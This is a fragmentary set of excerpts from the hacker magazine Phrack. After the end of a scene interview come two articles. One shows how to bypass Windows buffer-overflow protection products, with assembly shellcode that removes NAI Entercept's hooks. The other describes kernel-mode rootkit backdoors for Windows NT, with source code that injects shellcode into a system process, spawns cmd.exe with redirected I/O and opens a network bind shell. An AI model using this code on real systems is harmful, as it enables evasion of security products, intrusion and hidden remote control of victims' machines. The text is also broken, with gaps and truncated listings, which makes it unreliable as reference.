separated groups in the scene piling up non public knowledge, while the "entry
level skill" required to really be in the scene is increased and less people
get into the scene. Those knowledgeable groups still have "whitehats" among
their members, but nobody cares, because for the group it just works well and
everybody within wins. On a wider scale, everybody loses and the cooperation
and development of really creative new stuff is slowed and the scene shrinks.
Fresh talented people wanting to get into the scene have no choice but to
found their own teams.
The best thing for the scene were and still are the hacker events organized
all around the world. They are a great contact point of the hackers and to the
outside world.
Q: If you could turn the clock backwards, what would you do different
in your young life ?
A: Be more relaxed about people posting my stuff although I did not wanted it
to be public. It just caused trouble for everybody and in the end its more
a fault on my side than on theirs.
IRC : timeconsumptive
TESO : dreamteam
ADM : pioneers
Hacker meetings : melting-pot
Whitehats : do not always wear white hats
Blackhats : do not always wear black hats
|=---=[ Please tell our audience a worst case scenario into what the scene
might turn into.
The extension to the bad development that already took place and I described
in an earlier answer would include more company driven actions and sell outs.
Possibly the worst long term thing for the scene would be a decrease in the
scene's lose "infrastructure", such as magazines and conferences. This could
be the result of stricter laws against hackers and already takes place in some
countries. Imagine if the typical hacker conferences would be outlawed or
strictly observed. Imagine when magazines such as Phrack would be shutdown.
Imagine if groups like THC and websites like Packetstorm would be shutdown.
That would be a bad development.
|=---=[ And if everything works out fine? What's the best case scenario
you can imagine?
To archieve this ideal, things that unite all hackers have to be valued
more. All hackers share the enthusiasm for technology and creativity.
Creativity is seldomly the result of sitting alone in a locked down room, but
quite the opposite the result of many diverse ideas and discussions among
intelligent people. If the environment hackers interact with each others in
permits for exchange of ideas without getting ripped off by companies or other
hackers, this would result in a great scene.
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
I think some young talents are really doing a great job. Keep going!
hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up
with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing
everything.
lorian, for being a smart guy.
acpizer, for his wisdom and stubborness.
The folks at THC and ADM for doing really cool stuff.
==Phrack Inc.==
|=-----------------------------------------------------------------------=|
|=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <[email protected] ]=-------------=|
|=--------------=[ Jamie Butler <[email protected]> ]=-------------=|
|=--------------=[ anonymous <[email protected] ]=-------------=|
--[ Contents
1 - Introduction
2 - Stack Backtracing
5 - Conclusions
--[ 1 - Introduction
Some systems also perform additional checking to see whether code's page
of memory belongs to a memory mapped file section and not to an anonymous
memory section.
[-----------------------------------------------------------]
[-----------------------------------------------------------]
Pseudo code for code page permission checking
Next section deals with evading kernel hooks, while section 4 deals with
bypassing userland hooks.
When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must
be able to detect where a userland API call originated. Due to
the heavy use of kernel32.dll and ntdll.dll libraries, an API call is
usually several stack frames away from the actual syscall trap call.
For this reason, some intrusion preventions systems rely on using stack
backtracing to locate the original caller of a system call.
Stack backtracing involves traversing stack frames and verifying that the
return addresses pass the buffer overflow detection tests described above.
Frequently, there is also an additional "return into libc" check, which
involves checking that a return address points to an instruction
immediately following a call or a jump. The basic operation of stack
backtracing code, as used by a BOPT, is presented below.
[-----------------------------------------------------------]
if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
return BUFFER_OVERFLOW;
if (does_not_follow_call_or_jmp_opcode(ret_addr))
return BUFFER_OVERFLOW;
[-----------------------------------------------------------]
Pseudo code for BOPT stack backtracing
: :
|-------------------------|
| function B parameter #2 |
|-------------------------|
| function B parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|=========================|
| function A parameter #2 |
|-------------------------|
| function A parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|-------------------------|
: :
The EBP register points to the next stack frame. Without the EBP register
it is very hard, if not impossible, to correctly identify and trace
through all the stack frames.
Modern compilers often omit the use of EBP as a frame pointer and use it
as a general purpose register instead. With an EBP optimization, a stack
frame looks as follows during a function call:
|-----------------------|
| function parameter #2 |
|-----------------------|
| function parameter #1 |
|-----------------------|
| return EIP address |
|-----------------------|
Notice that the EBP register is not present on the stack. Without an EBP
register it is not possible for the buffer overflow detection technologies
to accurately perform stack backtracing. This makes their task incredibly
hard as a simple return into libc style attack will bypass the protection.
Simply originating an API call one layer higher than the BOPT hook defeats
the detection technique.
The ideal instruction sequence to point the dummy return address to is:
[-----------------------------------------------------------]
[-----------------------------------------------------------]
Bypassing kernel BOPT components is easy because they must rely on user
controlled data (the stack) to determine the validity of an API call. By
correctly manipulating the stack, it is possible to prematurely terminate
the stack return address analysis.
There are many problems with the userland based buffer overflow protection
technologies. For example, they require the buffer overflow protection
code to be in the code path of all attacker's calls or the shellcode
execution will go undetected.
a. Not accounting for both UNICODE and ANSI versions of a Win32 API
call.
Many Windows API functions have two versions: ANSI and UNICODE. The ANSI
function names usually end in A, and UNICODE functions end in W because
of their wide character nature. The ANSI functions are often nothing
more than wrappers that call the UNICODE version of the API. For example,
CreateFileA takes the ANSI file name that was passed as a parameter and
turns it into an UNICODE string. It then calls CreateFileW. Unless a
vendor hooks both the UNICODE and ANSI version of the API function, an
attacker can bypass the protection mechanism by simply calling the other
version of the function.
In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many
buffer overflow detection products do not hook functions within ntdll.dll.
This simple error is similar to not hooking both the UNICODE and ANSI
versions of a function. An attacker can simply call the ntdll.dll directly
and completely bypass all the kernel32.dll "checkpoints" established by a
buffer overflow detector.
As new DLLs and APIs are released, the complexity of Win32 API internal
interactions increases, making the problem worse. Third party product
vendors are at a severe disadvantage when implementing their buffer
overflow detection technologies and are bound to make mistakes which
can be exploited by attackers.
Most Win32 API functions begin with a five byte preamble. First, EBP is
pushed onto the stack, then ESP is moved into EBP.
[-----------------------------------------------------------]
[-----------------------------------------------------------]
Both Okena/CSA and Entercept use inline function hooking. They overwrite
the first 5 bytes of a function with an immediate unconditional jump or
call. For example, this is what the first few bytes of WinExec() look like
after NAI Entercept's hooks have been installed:
[-----------------------------------------------------------]
[-----------------------------------------------------------]
[-----------------------------------------------------------]
Obviously, it is easy for shellcode to test for these and other signatures
before calling a function. If a hijacking mechanism is detected, the
shellcode can use several different techniques to bypass the hook.
When an API is hooked, the original preamble is saved into a table so that
the buffer overflow detector can recreate the original API after
performing its validation checks. The preamble is stored in a patch table,
which resides somewhere in the address space of an application. When
shellcode detects the presence of an API hook, it can simply search for
the patch table and make its calls to patch table entries. This
completely avoids the hook, preventing the userland buffer overflow
detector components from ever being in the attacker's call path.
Since Intel x86 has variable length instructions, one must take this into
account in order to land on an even instruction boundary:
[-----------------------------------------------------------]
Shellcode:
call WinExecPreamble
WinExecPreamble:
push ebp
mov ebp, esp
sub esp, 54
jmp WinExec+6
[-----------------------------------------------------------]
This technique will not work if another function within the call path
is also hooked. In this case, Entercept also hooks CreateProcessA(),
which WinExec() calls. Thus, to evade detection shellcode should call
CreateProcessA() using the stored copy of CreateProcessA's preamble.
[-----------------------------------------------------------]
WinExecOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
83ec54 sub esp, 54
CreateProcessAOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
ff752c push DWORD PTR [ebp+2c]
[-----------------------------------------------------------]
This technique will not work against properly implemented buffer overflow
detectors, however it is very effective against NAI Entercept. A complete
shellcode example which overwrites the NAI Entercept hooks is presented
below:
[-----------------------------------------------------------]
_asm {
pusha
jmp JUMPSTART
START:
pop ebp
xor eax, eax
mov al, 0x30
mov eax, fs:[eax];
mov eax, [eax+0xc];
// pe.oheader.directorydata[EXPORT=0]
mov esi, [eax+ebx+78h]
lea esi, [eax+esi+18h]
lodsd
RESETEXPORTNAMETABLE:
xor edx, edx
INITSTRINGTABLE:
mov esi, ebp // Beginning of string table
inc esi
MOVETHROUGHTABLE:
mov edi, [eax+edx*4]
add edi, ebx // EBX has the process base address
DONESTRINGSEARCH:
OverWriteCreateProcessA:
pop edi
pop edi
push 0x06
pop ecx
inc esi
rep movsb
OverWriteWinExec:
pop edi
push edi
push 0x06
pop ecx
inc esi
rep movsb
CallWinExec:
push 0x03
push esi
call [esp+8]
NOTFOUND:
pop edx
STRINGEXIT:
pop ecx
popa;
jmp EXIT
JUMPSTART:
add esp, 0x1000
call START
WINEXEC:
_emit 0x07
_emit 'W'
_emit 'i'
_emit 'n'
_emit 'E'
_emit 'x'
_emit 'e'
_emit 'c'
CREATEPROCESSA:
_emit 0x0e
_emit 'C'
_emit 'r'
_emit 'e'
_emit 'a'
_emit 't'
_emit 'e'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 'A'
ENDOFTABLE:
_emit 0x00
WinExecOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0x83
_emit 0xec
_emit 0x54
CreateProcessAOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0xff
_emit 0x75
_emit 0x2c
COMMAND:
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'c'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0x00
EXIT:
_emit 0x90
[-----------------------------------------------------------]
Also, you must know the system call number of the function in question.
You can find this dynamically using a technique similar to the one to find
function addresses. Once you have the address of the ntdll.dll version of
the function you want to call, index into the function one byte and read
the following DWORD. This is the system call number in the system call
table for the function. This is a common trick used by rootkit developers.
Here is the pseudo code for calling NtReadFile system call directly:
...
xor eax, eax
// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax
push Length_of_Buffer
push Address_of_Buffer
// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock
// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax
Of course, generating a fake stack frame is not going to work when the
EIP register still points to shellcode which resides in a writable
memory segment. To bypass the protection code, shellcode needs to use
an address that lies in a non-writable memory segment. This presents
a problem since shellcode needs a way to eventually regain control of
the execution.
push kernel32_string
call LoadLibrary
return_eip:
.
.
.
.
.
.
ret ; return to stack-based return_eip
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| return address (return_eip) |
|------------------------------|
push return_eip
push kernel32_string
return_eip:
.
.
.
address_of_ret_instruction:
.
.
.
ret ; return to stack-based return_eip
|------------------------------|
| return address (return_eip) |
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| address of "ret" instruction |
|------------------------------|
|--------------------------------|
| return address |
|--------------------------------|
| address of "ret" instruction | <- fake frame 2
|--------------------------------|
| any value |
|--------------------------------|
| address of "kernel32.dll" str |
|--------------------------------|
| address of "ret 8" instruction | <- fake frame 1
|--------------------------------|
--[ 5 - Conclusions
User Land
msvcrt.dll
_creat
_read
_write
system
kernel32.dll
CreatePipe
CreateProcessA
GetProcAddress
GetStartupInfoA
LoadLibraryA
PeekNamedPipe
ReadFile
VirtualProtect
VirtualProtectEx
WinExec
WriteFile
advapi32.dll
RegOpenKeyA
rpcrt4.dll
NdrServerInitializeMarshall
user32.dll
ExitWindowsEx
ws2_32.dll
WPUCompleteOverlappedRequest
WSAAddressToStringA
WSACancelAsyncRequest
WSACloseEvent
WSAConnect
WSACreateEvent
WSADuplicateSocketA
WSAEnumNetworkEvents
WSAEventSelect
WSAGetServiceClassInfoA
WSCInstallNameSpace
wininet.dll
InternetSecurityProtocolToStringW
InternetSetCookieA
InternetSetOptionExA
lsasrv.dll
LsarLookupNames
LsarLookupSids2
msv1_0.dll
Msv1_0ExportSubAuthenticationRoutine
Msv1_0SubAuthenticationPresent
Kernel
NtConnectPort
NtCreateProcess
NtCreateThread
NtCreateToken
NtCreateKey
NtDeleteKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateValueKey
NtLoadKey
NtLoadKey2
NtQueryKey
NtQueryMultipleValueKey
NtQueryValueKey
NtReplaceKey
NtRestoreKey
NtSetValueKey
NtMakeTemporaryObject
NtSetContextThread
NtSetInformationProcess
NtSetSecurityObject
NtTerminateProcess
Okena/CSA hooks many functions in userland but many less in the kernel.
A lot of the userland hooks are the same ones that Entercept hooks.
However, almost all of the functions Okena/CSA hooks in the kernel are
related to altering keys in the Windows registry. Okena/CSA does not
seem as concerned as Entercept about backtracing calls in the kernel.
This leads to an interesting vulnerability, left as an exercise to the
reader.
User Land
kernel32.dll
CreateProcessA
CreateProcessW
CreateRemoteThread
CreateThread
FreeLibrary
LoadLibraryA
LoadLibraryExA
LoadLibraryExW
LoadLibraryW
LoadModule
OpenProcess
VirtualProtect
VirtualProtectEx
WinExec
WriteProcessMemory
ole32.dll
CoFileTimeToDosDateTime
CoGetMalloc
CoGetStandardMarshal
CoGetState
CoResumeClassObjects
CreateObjrefMoniker
CreateStreamOnHGlobal
DllGetClassObject
StgSetTimes
StringFromCLSID
oleaut32.dll
LPSAFEARRAY_UserUnmarshal
urlmon.dll
CoInstall
Kernel
NtCreateKey
NtOpenKey
NtDeleteKey
NtDeleteValueKey
NtSetValueKey
NtOpenProcess
NtWriteVirtualMemory
==Phrack Inc.==
1 - PREFACE
2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
2.1 - NTROOTKIT
2.2 - HE4HOOK
2.3 - SLANRET (IERK, BACKDOOR-ALI)
5 - CONCLUSION
6 - EPILOGUE
7 - LIST OF USED SOURCES
8 - FILES
--[ 1 - Preface
This article is intended for those who know the architecture of the
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools
for stealthy remote administration of Windows NT.
It's quite another matter those works in kernel-mode: They can hide
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, "Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.
It's MAC and IP addresses are hardcoded in the source. Connection with
the rootkit at that IP is carried out via a TCP connection to any port.
The available commands in rk_command.c are:
ps - list processes
help - self explainatory
buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file
hideproc - hide process(es)
sniffkeys - keyboard spy
There are also imcomplete pieces of code: Execute commands received via
a covert channel and starting a Win32-process from a driver (a hard and
complicated task).
NtCreateFile
ZwOpenFile
ZwQueryDirectoryFile
ZwOpenKey
ZwQueryKey
ZwQueryValueKey
ZwEnumerateValueKey
ZwEnumerateKey
ZwSetValueKey
ZwCreateKey
The implementation suffers from the fact that Zw* functions which are
normally unavailable to drivers directly are called through the system
call interface (int 0x2E), leading to problems with different versions
of the NT family as system call numbers change.
When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.
This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.
Almost all these exported functions (Zw*) have the following function
body:
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh ; Syscall interface
Other structures:
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the
following data:
One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.
All normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
First variant
=============
We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.
So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).
Second variant
==============
Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.
This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:
_asm int 3;
UNICODE_STRING PortName;
RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort");
static SECURITY_QUALITY_OF_SERVICE QoS =
{sizeof(QoS), SecurityAnonymous, 0, 0};
/*static SECURITY_QUALITY_OF_SERVICE QoS =
{0x77DC0260,
(_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
NULL,NULL,NULL,NULL);
if (!ret) {
RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
csrmsg.ProcessInformation.hProcess=hProcess;
csrmsg.ProcessInformation.hThread=hThread;
csrmsg.ProcessInformation.dwProcessId=pid;
csrmsg.ProcessInformation.dwThreadId=tid;
csrmsg.PortMessage.MessageSize=0x4c;
csrmsg.PortMessage.DataSize=0x34;
csrmsg.CsrssMessage.Opcode=0x10000;
ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
(PORT_MESSAGE*)&csrmsg);
}
}
When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.
There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.
For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet
another way of injecting code into a working userland process from kernel
mode.
I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.
Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.
When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.
--[ 5 - Conclusion
What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].
--[ 6 - Epilogue
1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
http://195.19.33.68/He4ProjectRepositary/IpLog/
--[ 8 - Files
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p
= NT::PSYSTEM_PROCESSES(q);
BOOL found=0;
char** pp=(char**)&p;
do
{
if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
(&p->ProcessName,&ProcessName,TRUE)))
{
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)-
>Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
found=1;
break;
}
if (!(p->NextEntryDelta)) break;
*pp+=p->NextEntryDelta;
} while(1);
NT::ExFreePool(q);
return found;
}
VOID StartShell()
{
//Search ntdll.dll in memory
PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl,
//but exported by ntdll.dll
DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory)
DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread)
HANDLE hProcess=0,hThread;
//Debug breakpoint
dbgbkpt;
NT::CLIENT_ID clid;
//Code must be embedded into thread, which not in nonalertable wait state.
//Such thread is in process services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL,
OBJ_CASE_INSENSITIVE};
//Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return;};
/*NT::PROCESS_BASIC_INFORMATION pi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi,
sizeof(pi), NULL);*/
ULONG n = sizeof_shellcode;
PVOID p = 0;
PVOID EntryPoint;
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory
ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
//Entry point is at the beginning of shellcode
EntryPoint = p;
ZwResumeThread(hThread, 0);
}
#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"
//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
namespace NT
{
extern "C"
{
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
void KeInitializeApc(PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext);
ULONG MajorVersion;
//Request OS version
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
struct APC_PARAMETERS {
NT::UNICODE_STRING KernelPipeName;
ULONG ChildPID;
};
dbgbkpt;
//Start process with redirected I/O, SystemArgument1 is named pipe name
(*(APC_PARAMETERS**)SystemArgument1)-
>ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe",
&((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
//Free memory occupied by APC
NT::ExFreePool(Apc);
//dbgbkpt;
NT::CLIENT_ID clid;
//Look for process to launch shell from it's context.
//That process must be always present in system
if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
return FALSE;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL,
OBJ_CASE_INSENSITIVE};
//Get process handle from it's PID
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return FALSE;};
//Get thread handle from it's TID
NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
NT::PKTHREAD ThreadObj;
//Get pointer to thread object from it's handle
NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL,
NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc;
ApcParameters.ChildPID=0;
; structure initializing
;-------------------------
sSEH STRUCT
OrgEsp dd ?
SaveEip dd ?
sSEH ENDS
CLIENT_ID STRUCT
UniqueProcess dd ?
UniqueThread dd ?
CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT
Length dd ?
RootDirectory dd ?
ObjectName dd ?
Attributes dd ?
SecurityDescriptor dd ?
SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS
;-------------------------
.code
;----------------------------------------------
MAX_API_STRING_LENGTH equ 150
ALLOCATION_GRANULARITY EQU 10000H
;----------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa MACRO reg, operand
lea reg, operand
add reg, FixupDelta
ENDM
main proc
Start:
IFDEF DEBUG
int 3
ENDIF
;Local variables
local
flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadCo
ntext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWOR
D,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLI
ENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock
:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWO
RD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_W
SACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
assume fs : nothing
;---- get ImageBase of kernel32.dll ----
lea ebx,KERNEL32FunctionsTable
push ebx
laa ebx,KERNEL32StringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
lea ebx,NTDLLFunctionsTable
push ebx
laa ebx,NTDLLStringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
xor ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi ; _SetThreadContext
push eax
;-)
push eax ; _ZwAlertThread
;-)
push edi ; _SetThreadContext
push eax
;-)
push edi ; _GetThreadContext
push eax
call _GetThreadContext
mov eax,[edi].cx_Eip
mov save_eip,eax
laa eax, new_thread
mov [edi].cx_Eip, eax
;Self-modify code
;Save EBP to copy current stack in each new thread
laa eax, ebp_value_here
mov [eax],ebp
laa eax, ebp1_value_here
mov [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa eax, flag_addr_here
lea ebx,flag
mov [eax],ebx
mov flag,0
call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable
push 0
call _ExitThread
; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor eax,eax
push eax
push eax
push eax
laa ebx, remote_shell
push ebx
push eax
push eax
call _CreateThread
;call _Sleep,INFINITE
jmp $
remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov ecx,SizeOfLocals
sub esi,ecx
mov edi,esp
sub edi,ecx
cld
rep movsb
mov ebp,esp
sub esp,SizeOfLocals
flag_addr_here_2:
mov eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov DWORD PTR [eax],1
;Load WinSock
laa eax,szWSOCK32
call _LoadLibrary,eax
or eax, eax
jz quit
xor ebx,ebx
;socket does not suit here!
call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov sock,eax
mov addr.sin_family,AF_INET
mov addr.sin_port,0088h
